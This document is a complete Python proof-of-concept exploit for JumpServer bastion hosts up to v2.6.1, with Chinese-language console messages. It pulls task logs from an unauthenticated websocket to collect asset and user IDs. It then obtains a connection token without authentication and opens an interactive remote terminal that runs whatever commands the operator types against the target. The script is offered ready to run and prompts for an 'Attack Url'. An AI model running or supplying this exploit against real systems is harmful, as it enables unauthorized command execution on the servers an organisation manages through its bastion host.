1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| import requests import json import sys import time import asyncio import websockets import re from ws4py.client.threadedclient import WebSocketClient
def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mPOC_Des: https://www.o2oxy.cn/ \033[0m') print('+ \033[34mVersion: JumpServer <= v2.6.1 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+ \033[36mCmd >>> whoami \033[0m') print('+------------------------------------------')
class ws_long(WebSocketClient):
def opened(self): req = '{"task":"/opt/jumpserver/logs/jumpserver"}' self.send(req)
def closed(self, code, reason=None): print("Closed down:", code, reason)
def received_message(self, resp): resp = json.loads(str(resp)) data = resp['message'] if "File" in data: data = "" print(data)
async def send_msg(websocket, _text): if _text == "exit": print(f'you have enter "exit", goodbye') await websocket.close(reason="user exit") return False await websocket.send(_text) recv_text = await websocket.recv() print(re.findall(r'"data":"(.*?)"', recv_text))
async def main_logic(target_url): print("\033[32m[o] 正在连接目标: {}\033[0m".format(target_url)) async with websockets.connect(target_url) as websocket: recv_text = await websocket.recv() resws = json.loads(recv_text) id = resws['id'] print("\033[36m[o] 成功获取 ID: {}\033[0m".format(id))
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"}) await send_msg(websocket, inittext) for i in range(7): recv_text = await websocket.recv() print(re.findall(r'"data":"(.*?)"', recv_text))
while True: cmd = str(input("\033[35mcmd >>> \033[0m")) cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"}) await send_msg(websocket, cmdtext) for i in range(1): recv_text = await websocket.recv() print(re.findall(r'"data":"(.*?)"', recv_text))
def POC_1(target_url): vuln_url = target_url + "/api/v1/users/connection-token/?user-only=1" response = requests.get(url=vuln_url, timeout=5) if response.status_code == 401 or response.status_code == 403 or response.status_code == 404: print("\033[32m[o] 目标 {} JumpServer堡垒机为未修复漏洞版本,请通过日志获取关键参数\033[0m".format(target_url)) ws_open = str(input("\033[32m[o] 是否想要提取日志(Y/N) >>> \033[0m")) if ws_open == "Y" or ws_open == "y": ws = target_url.strip("http://") try: ws = ws_long('ws://{}/ws/ops/tasks/log/'.format(ws)) ws.connect() ws.run_forever() ws.close() except KeyboardInterrupt: ws.close() else: print("\033[31m[x] 目标漏洞已修复,无法获取敏感日志信息\033[0m") sys.exit(0)
def POC_2(target_url, user, asset, system_user): if target_url == "" or asset == "" or system_user == "": print("\033[31m[x] 请获取 assset 等参数配置\033[0m") sys.exit(0) data = {"user": user, "asset": asset, "system_user": system_user} vuln_url = target_url + "/api/v1/users/connection-token/?user-only=1"
try: response = requests.post(vuln_url, json=data, timeout=5).json() print("\033[32m[o] 正在请求:{}\033[0m".format(vuln_url)) token = response['token'] print("\033[36m[o] 成功获取Token:{}\033[0m".format(token)) ws_url = target_url.strip("http://") ws_url = "ws://" + ws_url + "/koko/ws/token/?target_id={}".format(token) asyncio.get_event_loop().run_until_complete(main_logic(ws_url))
except Exception as e: print("\033[31m[x] 请检查 assset 等参数配置,{}\033[0m".format(e)) sys.exit(0)
if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) user = "452ce66e-87e9-41c2-bc92-b9c110780055" asset = "b60c9792-a843-4b1b-935d-57134f3fca83" system_user = "ae4b8369-5b69-4e42-941e-9f2f16686a05" POC_1(target_url) POC_2(target_url, user, asset, system_user)
|